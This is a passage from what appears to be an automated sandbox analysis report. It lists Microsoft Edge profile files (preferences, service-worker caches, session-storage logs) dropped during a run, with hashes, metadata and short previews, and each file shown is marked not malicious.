C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\b90d1c21-46e1-471b-8210-9e0c92e106e4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\d0f2e3f2-a23b-471a-949c-70b190ef5084.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	1698
Entropy (8bit):	5.2941819918077915
Encrypted:	false
SSDEEP:	48:YcCpfgCzsVH1tsQKfc7kBRsWzCIs8CgHMbwYhbm:F2fuH1A2kBrzVTMbRhK
MD5:	7C9B0F6836D2EEA53F1D30052DFD1928
SHA1:	CD7BCDA9BE29992B734F91C844A45289D2E3084D
SHA-256:	DA63E22198FE41B149765F7FEAC8A391112057DE47A3C6B5C28A4C980827E597
SHA-512:	AF4A114FB86D5D4EEA99BF887C2E1D8AC0C3D8DF2A5CDA2F37BCC614D2A42DC56169342C97569C109F0F11F2A5E47C83CD6DE9E6567646BDD235FD15B66D422B
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379484039541150","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379484043888175","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://edge.microsoft.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL2F6dXJlZWR

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8350301952073809
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJlAMoqsgC7zn2z8ZI7J5fc:T+OUzDbg3sAM/sgCnn2ztc
MD5:	0DAD8D7F079797377CD56DAE47E1A619
SHA1:	A353C01C5B9BA9E0315ABA74D3337B7D6EE97CB2
SHA-256:	7BDA584E0C1BE9E104065370FD279A7E771D7EB4F7E4CC7C80F146931F150E33
SHA-512:	5A57C0D303672564DDEAA08B5DAAEE1BA24B67C46100720CE69F0908427ACE55F330D96A772D0E1F96B595FBBD70E6145AA464FC4F312EFE095F9AC909E304E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9861
Entropy (8bit):	5.113883629565897
Encrypted:	false
SSDEEP:	192:stbkdpFVsbkaFvrE9kfMzib8kbV+FjUQArUuPcYJ:stbQFVsbkCDbbGoQRW
MD5:	17563CAB6C0E4F4CB2E5CE35E6239763
SHA1:	24A1C8C165DA9AED1792DD73205741BFAB83ED6D
SHA-256:	C26557F8C55DEDF31EBB3BCBC6BF2C7FF623F7C13DD17454757E7EC839F829DB
SHA-512:	4799ABF906D6DD52D3C766524F94E8AB04E1E81AE15AB4745056DA36497717451900D264B2E35A51AB641957BB8CB82A777B581310E21EE76A4E4DA6EFCF1C3B
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376892036062038","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF40cae.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9861
Entropy (8bit):	5.113883629565897
Encrypted:	false
SSDEEP:	192:stbkdpFVsbkaFvrE9kfMzib8kbV+FjUQArUuPcYJ:stbQFVsbkCDbbGoQRW
MD5:	17563CAB6C0E4F4CB2E5CE35E6239763
SHA1:	24A1C8C165DA9AED1792DD73205741BFAB83ED6D
SHA-256:	C26557F8C55DEDF31EBB3BCBC6BF2C7FF623F7C13DD17454757E7EC839F829DB
SHA-512:	4799ABF906D6DD52D3C766524F94E8AB04E1E81AE15AB4745056DA36497717451900D264B2E35A51AB641957BB8CB82A777B581310E21EE76A4E4DA6EFCF1C3B
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376892036062038","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF44d41.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9861
Entropy (8bit):	5.113883629565897
Encrypted:	false
SSDEEP:	192:stbkdpFVsbkaFvrE9kfMzib8kbV+FjUQArUuPcYJ:stbQFVsbkCDbbGoQRW
MD5:	17563CAB6C0E4F4CB2E5CE35E6239763
SHA1:	24A1C8C165DA9AED1792DD73205741BFAB83ED6D
SHA-256:	C26557F8C55DEDF31EBB3BCBC6BF2C7FF623F7C13DD17454757E7EC839F829DB
SHA-512:	4799ABF906D6DD52D3C766524F94E8AB04E1E81AE15AB4745056DA36497717451900D264B2E35A51AB641957BB8CB82A777B581310E21EE76A4E4DA6EFCF1C3B
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376892036062038","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF4c271.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9861
Entropy (8bit):	5.113883629565897
Encrypted:	false
SSDEEP:	192:stbkdpFVsbkaFvrE9kfMzib8kbV+FjUQArUuPcYJ:stbQFVsbkCDbbGoQRW
MD5:	17563CAB6C0E4F4CB2E5CE35E6239763
SHA1:	24A1C8C165DA9AED1792DD73205741BFAB83ED6D
SHA-256:	C26557F8C55DEDF31EBB3BCBC6BF2C7FF623F7C13DD17454757E7EC839F829DB
SHA-512:	4799ABF906D6DD52D3C766524F94E8AB04E1E81AE15AB4745056DA36497717451900D264B2E35A51AB641957BB8CB82A777B581310E21EE76A4E4DA6EFCF1C3B
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376892036062038","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.567846834915916
Encrypted:	false
SSDEEP:	768:YUQa5kWnjW5w7Hf4dY8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPokISfThrwX+bCpg+:YrSkWjWa7HfEYu1jaZMLSubRtI
MD5:	7C1DBB7CDED95F028BFCEB325B5B7F58
SHA1:	B56F68B22BBFEA00E603F795B6AF263412D709E9
SHA-256:	A790E330381CEA919AA8F2F044000B12F6E36C52C5BDD39CAACF2EB060167465
SHA-512:	3BDE7DDB0F4D9F395078627453C2A7CE15CD066B05B68AF759466F561673854203BEBAD3684C3329F6F77FFBE02728DA0511ED7808B4E07CE3CC655BCA61737F
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376892035583316","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376892035583316","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF3ffed.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.567846834915916
Encrypted:	false
SSDEEP:	768:YUQa5kWnjW5w7Hf4dY8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPokISfThrwX+bCpg+:YrSkWjWa7HfEYu1jaZMLSubRtI
MD5:	7C1DBB7CDED95F028BFCEB325B5B7F58
SHA1:	B56F68B22BBFEA00E603F795B6AF263412D709E9
SHA-256:	A790E330381CEA919AA8F2F044000B12F6E36C52C5BDD39CAACF2EB060167465
SHA-512:	3BDE7DDB0F4D9F395078627453C2A7CE15CD066B05B68AF759466F561673854203BEBAD3684C3329F6F77FFBE02728DA0511ED7808B4E07CE3CC655BCA61737F
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376892035583316","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376892035583316","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2294
Entropy (8bit):	5.83776869320125
Encrypted:	false
SSDEEP:	48:F2emUtrdDQfBL4hXrdYxOrdD7BL4/krdQBL4w:F1mUtxDQRMxYxOxDNekxir
MD5:	29F1CDE25C10816EDC966947BA6FFAF8
SHA1:	33E3112F5B5196941C248E68C90A8F90ED075971
SHA-256:	BB79B0D663784206DD2F4961DB521D2A8DA989D0B6D37403F55380E706AAD8AB
SHA-512:	EF52D4285045AB77B09A93AB3AB3DC3D619E31F7A1F124DFA8A289F942677842D6674C546A21AE5C5A8B587A0F52BE023999A6C0468AC56297BE3C862E7CE2BE
Malicious:	false
Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2....m................INITDATA_NEXT_REGISTRATION_ID.1..INITDATA_NEXT_VERSION_ID.1.+INITDATA_UNIQUE_ORIGIN:https://ntp.msn.com/...REG:https://ntp.msn.com/.0......https://ntp.msn.com/edge/ntp...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true .(.0.8.......@...Z.b.....trueh..h..h..h..h..h..h..h..h..h..h.!p.x..................................REGID_TO_ORIGIN:0.https://ntp.msn.com/..RES:0.0.......https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enable

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	303
Entropy (8bit):	5.11256588728384
Encrypted:	false
SSDEEP:	6:HG+Kz3hq1N723oH+TcwtE/a252KLlVG+KMjL+q2PN723oH+TcwtE/a2ZIFUv:6z3MaYeb8xLSMjyvVaYeb8J2FUv
MD5:	E0DA11D4084AF3ECA38A79B8960CCDC4
SHA1:	42737D2607B3CDA834B2D7ED0A2A48EF6E44621E
SHA-256:	88340E5106798C54A71D16AAF1B86CDE7E4471C8B943D3AAEDC9796AAF2489BF
SHA-512:	C263AAB81B3BEDAA00A993B0C516DC73F233297EB93D746BADC2E841ACDAA711A8F6D1C7088242B7EB7C23707B6AD43770857D65F9A2D648FEAACCC573460435
Malicious:	false
Preview:	2024/11/23-22:20:54.452 1f18 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2024/11/23-22:20:54.481 1f18 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	114376
Entropy (8bit):	5.578522470394273
Encrypted:	false
SSDEEP:	1536:AU906yxPXfOxr1lhCe1nL/rmL/rBZXECjAWNKPt3dfvYgDx:d9LyxPXfOxr1lMe1nL/CL/TXEmsvFV
MD5:	5D09862CC2656630E4956E84E508A32C
SHA1:	8CEEB09CA1BDCC5A80E98D5A0C4B5D799083AC5F
SHA-256:	057BBD9D05EC2BDA397E19C66C230804D9BD69EC8AB943B6910ADA73C8229012
SHA-512:	FE7282B2ED1B108742ABC831206E39603C460D0752A2A48FD403F638BDF60ED4F79322E7DAB979D44682643B2A23F2ABE4F4A4AE7BFB2A1690F961C55EE17BEB
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	188897
Entropy (8bit):	6.385746398070609
Encrypted:	false
SSDEEP:	3072:ZaYh/LORr+wR0DKkqKL/MGMFYsNYOVPaos/l:6+wm9XL/fKLYlfN
MD5:	ACC10001F86EA28768FF733AFB07B1E0
SHA1:	20563346F07AC03E512B5E8B29041D0D88F54EF8
SHA-256:	C9828D459639AF70A751334760C8AE93CB64781E7CCABA23BE2448E134C52B6C
SHA-512:	2D1783A1B35E7C9E390F13D3EDCF12BE8BBB027615425D9C503200546E38606B03FDBC605DA6D851D23DC1BE4D5DFAAFC40AEDAF6DD6D4AE3D1F14F3016A3381
Malicious:	false
Preview:	0\r..m..........rSG.....0...../...............R......yT.........,T.8..`,.....L`.....,T...`......L`......Rc.s+....exports...Rc.\|u.....module....RcJ.-P....define....Rb.E......amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v............*.........".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H......q.Q.m....Mb...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true..a........Db............D`.....E..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da....zY...,T.`.`z.....L`..........a............a.........Dr8................/....-.......}....4..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:520Xl/ly/l9/lxE0tlla/lyPK+n:XmO0gyC+n
MD5:	F1357323E072C3032A5D422FD063215B
SHA1:	7B1F482354AD37CF28ABDF62FBE82F324195A5CD
SHA-256:	19F525FDEDAA893A83F82AEB1C5D53C1AF562ACA4F2471D778669C0DA715F495
SHA-512:	686014D0996AE823442161733E34B9AD3EA34B331B3CB8AEAE58E91F0BC6D99C2702554E0A98FF32D5E867C588ECC64E9264F714917816C977017CE78C3E1DAD
Malicious:	false
Preview:	@...L..boy retne.........................X....,..................(c6./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:520Xl/ly/l9/lxE0tlla/lyPK+n:XmO0gyC+n
MD5:	F1357323E072C3032A5D422FD063215B
SHA1:	7B1F482354AD37CF28ABDF62FBE82F324195A5CD
SHA-256:	19F525FDEDAA893A83F82AEB1C5D53C1AF562ACA4F2471D778669C0DA715F495
SHA-512:	686014D0996AE823442161733E34B9AD3EA34B331B3CB8AEAE58E91F0BC6D99C2702554E0A98FF32D5E867C588ECC64E9264F714917816C977017CE78C3E1DAD
Malicious:	false
Preview:	@...L..boy retne.........................X....,..................(c6./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF44c86.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:520Xl/ly/l9/lxE0tlla/lyPK+n:XmO0gyC+n
MD5:	F1357323E072C3032A5D422FD063215B
SHA1:	7B1F482354AD37CF28ABDF62FBE82F324195A5CD
SHA-256:	19F525FDEDAA893A83F82AEB1C5D53C1AF562ACA4F2471D778669C0DA715F495
SHA-512:	686014D0996AE823442161733E34B9AD3EA34B331B3CB8AEAE58E91F0BC6D99C2702554E0A98FF32D5E867C588ECC64E9264F714917816C977017CE78C3E1DAD
Malicious:	false
Preview:	@...L..boy retne.........................X....,..................(c6./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	5631
Entropy (8bit):	3.4037333052692245
Encrypted:	false
SSDEEP:	96:x/O3qEbhAztZO5NxpmVkVEZpeQ9Xp+Pa+Vi5hn5SLl9iSrT1io1YjAvj689x:gaE+5cDx0VkV5Q9Xp+iKi5R5SLl9iSrp
MD5:	6C911A97B1081D87AE9E038C0EA09C9E
SHA1:	6069C8FB31B81800C6BD7226CB395F3B708A3F08
SHA-256:	5B7E70DCFBF5F152FCE06EB5C9D93051C2E73BD42D984A9F79D9C634D5ACCF0A
SHA-512:	947EF34FEDF32DA60DE5804531636F6BA69C964012C8720E07BA4B13786D0C3798100C3A9BC2C60CE9F211BEA096DAA1B4BA6BEEDAAAE8235B9BEAD308FFB4EF
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f................Z.ub................next-map-id.1.Cnamespace-3f1c81c2_4c28_4c79_8d8c_c8301291bf87-https://ntp.msn.com/.0V.e................V.e................V.e................V.e................<....................map-0-shd_sweeper.){.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".m.s.n.a.l.l.e.x.p.u.s.e.r.s.,.p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.p.r.g.-.f.i.n.-.c.p.o.f.l.i.o.,.x.a.d.s.-.a.d.q.i.s.c.b.m.m.-.t.,.p.r.g.-.i.n.f.o.p.-.a.d.s.-.d.l.-.t.1.,.p.r.g.-.1.s.w.-.s.a.p.h.i.d.e.i.1.t.1.,.p.r.g.-.1.s.w.-.s.a.l.3.f.c.t.b.c.,.p.r.g.-.1.s.w.-.b.g.a.b.r.t.p.g.-.r.,.p.r.g.-.1.s.w.-.r.e.v._.a.b.r.t.p.g.,.p.r.g.-.1.s.w.-.r.e.v._.b.g._.a.b.r.t.p.g.,.p.r.g.-.1.s.w.-.t.m.u.i.d.s.y.n.c.r.f.w.o.e.r.r.,.p.r.g.-.1.s.w.-.r.e.f.r.e.s.h.p.,.p.r.g.-.1.s.w.-.t.m.u.i.d.1.s.s.y.n.c.,.2.4.0.9.-.n.e.w.-.b.i.n.g.-.d.e.s.i.g.n.-.c.,.r.o.u.t.e.a.u.t.h.p.r.o.d.,.p.r.g.-.a.d.s.p.e.e.k.,.1.s.-.n.t.f.1.-.r.d.i.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.101138989358301
Encrypted:	false
